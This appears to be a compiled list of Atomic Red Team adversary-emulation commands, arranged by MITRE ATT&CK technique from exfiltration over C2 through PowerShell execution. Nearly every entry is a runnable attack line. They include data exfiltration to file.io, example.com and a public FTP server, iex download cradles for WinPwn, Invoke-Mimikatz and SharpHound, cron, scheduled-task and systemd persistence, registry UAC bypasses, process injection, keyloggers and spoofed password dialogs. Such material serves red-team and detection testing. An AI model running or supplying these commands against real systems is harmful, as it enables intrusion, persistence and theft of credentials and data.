$filecontent = Get-Content -Path $env:TEMP\LineNumbers.txt
Invoke-WebRequest -Uri example.com -Method POST -Body $filecontent -DisableKeepAlive

T1041 - Exfiltration Over C2 Channel

Text Based Data Exfiltration using DNS subdomains

$dnsServer = "dns.example.com"
$exfiltratedData = "SecretDataToExfiltrate"
$chunkSize = 63

$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
$encodedData = [Convert]::ToBase64String($encodedData)
$chunks = $encodedData -split "(.{$chunkSize})"

foreach ($chunk in $chunks) {
$dnsQuery = $chunk + "." + $dnsServer
Resolve-DnsName -Name $dnsQuery
Start-Sleep -Seconds 5
}

T1046 - Network Service Discovery

Port Scan

for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/192.168.1.1/$port) && echo port $port is open ; done

T1046 - Network Service Discovery

Port Scan Nmap

sudo nmap -sS 192.168.1.0/24 -p 80
telnet 192.168.1.1 80
nc -nv 192.168.1.1 80

T1046 - Network Service Discovery

Port Scan NMap for Windows

nmap 127.0.0.1

T1046 - Network Service Discovery

Port Scan using python

python "T1046\src\T1046.py" -i 127.0.0.1

T1046 - Network Service Discovery

WinPwn - spoolvulnscan

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput

T1046 - Network Service Discovery

WinPwn - MS17-10

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput

T1046 - Network Service Discovery

WinPwn - bluekeep

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput

T1046 - Network Service Discovery

WinPwn - fruit

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput

T1046 - Network Service Discovery

Network Service Discovery for Containers

docker build -t t1046 $T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh

T1046 - Network Service Discovery

Port-Scanning /24 Subnet with PowerShell

$ipAddr = ""
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"

$ports = 445, 3389

foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(200) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

$ports = 445, 3389
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(200) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}

T1046 - Network Service Discovery

Remote Desktop Services Discovery via PowerShell

Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"

T1046 - Network Service Discovery

Port Scan using nmap (Port range)

nmap -Pn -sV -p 0-65535 127.0.0.1

T1047 - Windows Management Instrumentation

WMI Reconnaissance Users

wmic useraccount get /ALL /format:csv

T1047 - Windows Management Instrumentation

WMI Reconnaissance Processes

wmic process get caption,executablepath,commandline /format:csv

T1047 - Windows Management Instrumentation

WMI Reconnaissance Software

wmic qfe get description,installedOn /format:csv

T1047 - Windows Management Instrumentation

WMI Reconnaissance List Remote Services

wmic /node:"127.0.0.1" service where (caption like "%Spooler%")

T1047 - Windows Management Instrumentation

WMI Execute Local Process

wmic process call create notepad.exe

T1047 - Windows Management Instrumentation

WMI Execute Remote Process

wmic /user:DOMAIN\Administrator /password:P@ssw0rd1 /node:"127.0.0.1" process call create notepad.exe

T1047 - Windows Management Instrumentation

Create a Process using WMI Query and an Encoded Command

powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

T1047 - Windows Management Instrumentation

Create a Process using obfuscated Win32_Process

$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("Win32_Atomic")
$NewClass.Put()
Invoke-WmiMethod -Path Win32_Atomic -Name create -ArgumentList notepad.exe

T1047 - Windows Management Instrumentation

WMI Execute rundll32

wmic /node:127.0.0.1 process call create "rundll32.exe \"..\ExternalPayloads\calc.dll\" StartW"

T1047 - Windows Management Instrumentation

Application uninstall using WMIC

wmic /node:"127.0.0.1" product where "name like 'Tightvnc%%'" call uninstall

T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Exfiltrate data HTTPS using curl windows

C:\Windows\System32\Curl.exe -k -F "file=@T1048.002/src/artifact" https://file.io/

T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Exfiltrate data HTTPS using curl freebsd,linux or macos

curl -F 'file=@T1048.002/src/artifact' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/

T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Exfiltrate data in a file over HTTPS using wget

wget --post-file="T1048.002/src/artifact" --timeout=5 --no-check-certificate https://example.com/ --delete-after

T1048.002 - Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Exfiltrate data as text over HTTPS using wget

wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate https://example.com/ --delete-after

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - HTTP

{MISSING IN ATOMIC RED TEAM}

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - ICMP

$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path C:\Windows\System32\notepad.exe -Encoding Byte -ReadCount 1024) { $ping.Send("127.0.0.1", 1500, $Data) }

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - DNS

{MISSING IN ATOMIC RED TEAM}

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - HTTP

$content = Get-Content C:\Windows\System32\notepad.exe
Invoke-WebRequest -Uri http://127.0.0.1 -Method POST -Body $content

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - SMTP

Send-MailMessage -From test@corp.com -To test@corp.com -Subject "T1048.003 Atomic Test" -Attachments C:\Windows\System32\notepad.exe -SmtpServer 127.0.0.1

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

MAZE FTP Upload

$Dir_to_copy = "$env:windir\temp"
$ftp = "ftp://127.0.0.1/"
$web_client = New-Object System.Net.WebClient
$web_client.Credentials = New-Object System.Net.NetworkCredential('None', 'None')
if (test-connection -count 1 -computername "127.0.0.1" -quiet)
{foreach($file in (dir $Dir_to_copy "*.7z"))
{echo "Uploading $file..."
$uri = New-Object System.Uri($ftp+$file.name)
$web_client.UploadFile($uri, $file.FullName)}}
else
{echo "FTP Server Unreachable. Please verify the server address in input args and try again."}

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Exfiltration Over Alternative Protocol - FTP - Rclone

$rclone_bin = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "rclone.exe" | Select-Object -ExpandProperty FullName
$exfil_pack = Get-ChildItem C:\Users\Public\Downloads\ -Recurse -Include "exfil.zip" | Select-Object -ExpandProperty FullName
&$rclone_bin config create ftpserver "ftp" "host" ftp.dlptest.com "port" 21 "user" dlpuser "pass" rNrKYTX9g7z3RgJRmxWuGHbeu
&$rclone_bin copy --max-age 2y $exfil_pack ftpserver --bwlimit 2M -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P --ftp-no-check-certificate

T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

Python3 http.server

[ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9
if [ $(which python3) ]; then cd /tmp; python3 -m http.server 9090 & PID=$!; sleep 10; kill $PID; unset PID; fi

T1048 - Exfiltration Over Alternative Protocol

Exfiltration Over Alternative Protocol - SSH

ssh target.example.com "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

T1048 - Exfiltration Over Alternative Protocol

Exfiltration Over Alternative Protocol - SSH

tar czpf - /Users/* | openssl des3 -salt -pass atomic | ssh atomic@target.example.com 'cat > /Users.tar.gz.enc'

T1048 - Exfiltration Over Alternative Protocol

DNSExfiltration (doh)

Import-Module "..\ExternalPayloads\dnsexfil.ps1"
Invoke-DNSExfiltrator -i "..\ExternalPayloads\dnsexfil.ps1" -d target.example.com -p atomic -doh google -t 500 None

T1048 - Exfiltration Over Alternative Protocol

Exfiltrate Data using DNS Queries via dig

dig @8.8.8.8 -p 53 $(echo "this is a secret info" | base64).google.com

T1049 - System Network Connections Discovery

System Network Connections Discovery

netstat
net use
net sessions

T1049 - System Network Connections Discovery

System Network Connections Discovery with PowerShell

Get-NetTCPConnection

T1049 - System Network Connections Discovery

System Network Connections Discovery FreeBSD, Linux & MacOS

netstat
who -a

T1049 - System Network Connections Discovery

System Discovery using SharpView

$syntaxList = "Invoke-ACLScanner", "Invoke-Kerberoast", "Find-DomainShare"

foreach ($syntax in $syntaxList) {
..\ExternalPayloads\SharpView.exe $syntax -}

T1053.002 - Scheduled Task/Job: At

At.exe Scheduled task

at 13:20 /interactive cmd

T1053.002 - Scheduled Task/Job: At

At - Schedule a job

echo "echo Hello from Atomic Red Team" | at now + 1 minute

T1053.002 - Scheduled Task/Job: At

At - Schedule a job via kubectl in a Pod

kubectl run atomic-at-schedule --image=ubuntu --restart=Never --attach --rm -i -- bash -lc "apt-get update -y >/dev/null 2>&1 && apt-get install -y at >/dev/null 2>&1 && (atd || /usr/sbin/atd) && echo 'echo Hello from Atomic Red Team' | at now + 1 minute && at -l"

T1053.003 - Scheduled Task/Job: Cron

Cron - Replace crontab with referenced file

crontab -l > /tmp/notevil
echo "* * * * * /tmp/evil.sh" > /tmp/persistevil && crontab /tmp/persistevil

T1053.003 - Scheduled Task/Job: Cron

Cron - Add script to all cron subfolders

echo "echo 'Hello from Atomic Red Team' > /tmp/atomic.log" > /etc/cron.daily/persistevil
echo "echo 'Hello from Atomic Red Team' > /tmp/atomic.log" > /etc/cron.hourly/persistevil
echo "echo 'Hello from Atomic Red Team' > /tmp/atomic.log" > /etc/cron.monthly/persistevil
echo "echo 'Hello from Atomic Red Team' > /tmp/atomic.log" > /etc/cron.weekly/persistevil

T1053.003 - Scheduled Task/Job: Cron

Cron - Add script to /etc/cron.d folder

echo "echo '*/5 * * * * root echo "Hello from Atomic Red Team"' > /tmp/atomic.log" > /etc/cron.d/persistevil

T1053.003 - Scheduled Task/Job: Cron

Cron - Add script to /var/spool/cron/crontabs/ folder

echo "echo 'Hello from Atomic Red Team' > /tmp/atomic.log" >> /var/spool/cron/crontabs/persistevil

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled Task Startup Script

schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled task Local

SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\cmd.exe /ST 20:10

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled task Remote

SCHTASKS /Create /S localhost /RU DOMAIN\user /RP At0micStrong /TN "Atomic task" /TR "C:\windows\system32\cmd.exe" /SC daily /ST 20:10

T1053.005 - Scheduled Task/Job: Scheduled Task

Powershell Cmdlet Scheduled Task

$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object

T1053.005 - Scheduled Task/Job: Scheduled Task

Task Scheduler via VBA

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "T1053.005\src\T1053.005-macrocode.txt" -officeProduct "Word" -sub "Scheduler"

T1053.005 - Scheduled Task/Job: Scheduled Task

WMI Invoke-CimMethod Scheduled Task

$xml = [System.IO.File]::ReadAllText("T1053.005\src\T1053_005_WMI.xml")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled Task Executing Base64 Encoded Commands From Registry

reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st 07:45

T1053.005 - Scheduled Task/Job: Scheduled Task

Import XML Schedule Task with Hidden Attribute

$xml = [System.IO.File]::ReadAllText("T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }

T1053.005 - Scheduled Task/Job: Scheduled Task

PowerShell Modify A Scheduled Task

$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled Task ("Ghost Task") via Registry Key Manipulation

"..\ExternalPayloads\PsExec.exe" \\localhost -accepteula -s "cmd.exe"
"..\ExternalPayloads\GhostTask.exe" \\localhost add lilghostie "cmd.exe" "/c notepad.exe" $env:USERDOMAIN + '\' + $env:USERNAME logon

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled Task Persistence via CompMgmt.msc

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\calc.exe" /f
schtasks /Create /TN "CompMgmtBypass" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc

T1053.005 - Scheduled Task/Job: Scheduled Task

Scheduled Task Persistence via Eventviewer.msc

reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\calc.exe" /f
schtasks /Create /TN "EventViewerBypass" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"

T1053.006 - Scheduled Task/Job: Systemd Timers

Create Systemd Service and Timer

echo "[Unit]" > /etc/systemd/system/art-timer.service
echo "Description=Atomic Red Team Systemd Timer Service" >> /etc/systemd/system/art-timer.service
echo "[Service]" >> /etc/systemd/system/art-timer.service
echo "Type=simple" >> /etc/systemd/system/art-timer.service
echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> /etc/systemd/system/art-timer.service
echo "[Install]" >> /etc/systemd/system/art-timer.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/art-timer.service
echo "[Unit]" > /etc/systemd/system/art-timer.timer
echo "Description=Executes Atomic Red Team Systemd Timer Service" >> /etc/systemd/system/art-timer.timer
echo "Requires=art-timer.service" >> /etc/systemd/system/art-timer.timer
echo "[Timer]" >> /etc/systemd/system/art-timer.timer
echo "Unit=art-timer.service" >> /etc/systemd/system/art-timer.timer
echo "OnCalendar=*-*-* *:*:00" >> /etc/systemd/system/art-timer.timer
echo "[Install]" >> /etc/systemd/system/art-timer.timer
echo "WantedBy=timers.target" >> /etc/systemd/system/art-timer.timer
systemctl start art-timer.timer
systemctl enable art-timer.timer
systemctl daemon-reload

T1053.006 - Scheduled Task/Job: Systemd Timers

Create a user level transient systemd service and timer

systemd-run --user --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'

T1053.006 - Scheduled Task/Job: Systemd Timers

Create a system level transient systemd service and timer

systemd-run --unit=Atomic-Red-Team --on-calendar '*:0/1' /bin/sh -c 'echo "$(date) $(whoami)" >>/tmp/log'

T1053.007 - Kubernetes Cronjob

ListCronjobs

kubectl get cronjobs -n default

T1053.007 - Kubernetes Cronjob

CreateCronjob

kubectl create -f src/cronjob.yaml -n default

T1055.001 - Process Injection: Dynamic-link Library Injection

Process Injection via mavinject.exe

$mypid = (Start-Process notepad -PassThru).id
mavinject $mypid /INJECTRUNNING "T1055.001\src\x64\T1055.001.dll"
Stop-Process -processname notepad

T1055.001 - Process Injection: Dynamic-link Library Injection

WinPwn - Get SYSTEM shell - Bind System Shell using UsoClient DLL load technique

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/UsoDLL/Get-UsoClientDLLSystem.ps1')

T1055.002 - Process Injection: Portable Executable Injection

Portable Executable Injection

Start-Process "T1055.002\bin\RedInjection.exe"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

T1055.003 - Thread Execution Hijacking

Thread Execution Hijacking

$notepad = Start-Process notepad -passthru
Start-Process "$T1055.003\bin\InjectContext.exe"
Start-Sleep -Seconds 5
Stop-Process $notepad.id

T1055.004 - Process Injection: Asynchronous Procedure Call

Process Injection via C#

"T1055.004\bin\T1055.exe"

T1055.004 - Process Injection: Asynchronous Procedure Call

EarlyBird APC Queue Injection in Go

$T1055.004\bin\x64\EarlyBird.exe -program "C:\Windows\System32\werfault.exe" -debug

T1055.004 - Process Injection: Asynchronous Procedure Call

Remote Process Injection with Go using NtQueueApcThreadEx WinAPI

$T1055.004\bin\x64\NtQueueApcThreadEx.exe -debug

T1055.011 - Process Injection: Extra Window Memory Injection

Process Injection via Extra Window Memory (EWM) x64 executable

T1055.011\bin\T1055.011_#{arch}.exe

T1055.012 - Process Injection: Process Hollowing

Process Hollowing using PowerShell

. "T1055.012\src\Start-Hollow.ps1"
$ppid=Get-Process explorer | select -expand id
Start-Hollow -Sponsor "C:\Windows\System32\notepad.exe" -Hollow "C:\Windows\System32\cmd.exe" -ParentPID $ppid -Verbose

T1055.012 - Process Injection: Process Hollowing

RunPE via VBA

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "T1055.012\src\T1055.012-macrocode.txt" -officeProduct "Word" -sub "Exploit"

T1055.012 - Process Injection: Process Hollowing

Process Hollowing in Go using CreateProcessW WinAPI

$T1055.012\bin\x64\CreateProcess.exe -program "C:\Windows\System32\werfault.exe" -debug

T1055.012 - Process Injection: Process Hollowing

Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)

$T1055.012\bin\x64\CreateProcessWithPipe.exe -program "C:\Windows\System32\werfault.exe" -debug

T1055.015 - Process Injection: ListPlanting

Process injection ListPlanting

Start-Process "T1055.015\bin\ListPlanting.exe"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

T1055 - Process Injection

Shellcode execution via VBA

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "T1055\src\x64\T1055-macrocode.txt" -officeProduct "Word" -sub "Execute"

T1055 - Process Injection

Remote Process Injection in LSASS via mimikatz

"..\ExternalPayloads\PsExec.exe" /accepteula \\DC1 -c %tmp%\mimikatz\x64\mimikatz.exe "lsadump::lsa /inject /id:500" "exit"

T1055 - Process Injection

Section View Injection

$notepad = Start-Process notepad -passthru
Start-Process "$T1055\bin\x64\InjectView.exe"

T1055 - Process Injection

Dirty Vanity process Injection

Start-Process "$T1055\bin\x64\redVanity.exe" (Start-Process calc.exe -PassThru).Id

T1055 - Process Injection

Read-Write-Execute process Injection

$address = (& "$T1055\bin\x64\searchVuln.exe" "$T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
& "T1055\bin\x64\RWXinjectionLocal.exe" "T1055\bin\x64\vuln_dll\msys-2.0.dll" $address

T1055 - Process Injection

Process Injection with Go using UuidFromStringA WinAPI

$T1055\bin\x64\UuidFromStringA.exe -debug

T1055 - Process Injection

Process Injection with Go using EtwpCreateEtwThread WinAPI

$T1055\bin\x64\EtwpCreateEtwThread.exe -debug

T1055 - Process Injection

Remote Process Injection with Go using RtlCreateUserThread WinAPI

$process = Start-Process C:\Windows\System32\werfault.exe -passthru
$T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug

T1055 - Process Injection

Remote Process Injection with Go using CreateRemoteThread WinAPI

$process = Start-Process C:\Windows\System32\werfault.exe -passthru
$T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug

T1055 - Process Injection

Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)

$process = Start-Process C:\Windows\System32\werfault.exe -passthru
$T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug

T1055 - Process Injection

Process Injection with Go using CreateThread WinAPI

$T1055\bin\x64\CreateThread.exe -debug

T1055 - Process Injection

Process Injection with Go using CreateThread WinAPI (Natively)

$T1055\bin\x64\CreateThreadNative.exe -debug

T1055 - Process Injection

UUID custom process Injection

Start-Process "T1055\bin\x64\uuid_injection.exe"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force

T1056.001 - Input Capture: Keylogging

Input Capture

&"$T1056.001\src\Get-Keystrokes.ps1" -LogPath $env:TEMP\key.log

T1056.001 - Input Capture: Keylogging

Living off the land Terminal Input Capture on Linux with pam.d

if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
sudo touch /tmp/password-auth.bk
sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/system-auth

T1056.001 - Input Capture: Keylogging

Logging bash history to syslog

PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog

T1056.001 - Input Capture: Keylogging

Logging sh history to syslog/messages

PS2=`logger -t "$USER" -f ~/.sh_history`
$PS2
tail /var/log/messages

T1056.001 - Input Capture: Keylogging

Bash session based keylogger

trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> /tmp/.keyboard.log' DEBUG
echo "Hello World!"
cat /tmp/.keyboard.log

T1056.001 - Input Capture: Keylogging

SSHD PAM keylogger

cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh ubuntu@localhost
whoami
sudo su
whoami
exit
exit

T1056.001 - Input Capture: Keylogging

Auditd keylogger

auditctl -a always,exit -F arch=b64 -S execve -k CMDS
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start now

T1056.001 - Input Capture: Keylogging

MacOS Swift Keylogger

swift T1056.001/src/MacOSKeylogger.swift -keylog

T1056.002 - Input Capture: GUI Input Capture

AppleScript - Prompt User for Password

osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'

T1056.002 - Input Capture: GUI Input Capture

PowerShell - Prompt User for Password

# Creates GUI to prompt for password. Expect long pause before prompt is available.
$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)
# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.
write-warning $cred.GetNetworkCredential().Password

T1056.002 - Input Capture: GUI Input Capture

AppleScript - Spoofing a credential prompt using osascript

PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer')
echo $PWD_SPOOF

T1056.004 - Input Capture: Credential API Hooking

Hook PowerShell TLS Encrypt/Decrypt Messages

mavinject $pid /INJECTRUNNING "T1056.004\bin\T1056.004x64.dll"
Invoke-WebRequest https://www.example.com -UseBasicParsing

T1057 - Process Discovery

Process Discovery - ps

ps >> /tmp/loot.txt
ps aux >> /tmp/loot.txt

T1057 - Process Discovery

Process Discovery - tasklist

tasklist

T1057 - Process Discovery

Process Discovery - Get-Process

Get-Process

T1057 - Process Discovery

Process Discovery - get-wmiObject

get-wmiObject -class Win32_Process

T1057 - Process Discovery

Process Discovery - wmic process

wmic process get /format:list

T1057 - Process Discovery

Discover Specific Process - tasklist

tasklist | findstr lsass

T1057 - Process Discovery

Process Discovery - Process Hacker

Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\ProcessHacker.exe"

T1057 - Process Discovery

Process Discovery - PC Hunter

Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\PChunter64.exe"

T1057 - Process Discovery

Launch Taskmgr from cmd to View running processes

taskmgr.exe /7

T1059.001 - Command and Scripting Interpreter: PowerShell

Mimikatz

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

T1059.001 - Command and Scripting Interpreter: PowerShell

Run BloodHound from local disk

import-module "..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5

T1059.001 - Command and Scripting Interpreter: PowerShell

Run Bloodhound from Memory using Download Cradle

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

T1059.001 - Command and Scripting Interpreter: PowerShell

Mimikatz - Cradlecraft PsSendKeys

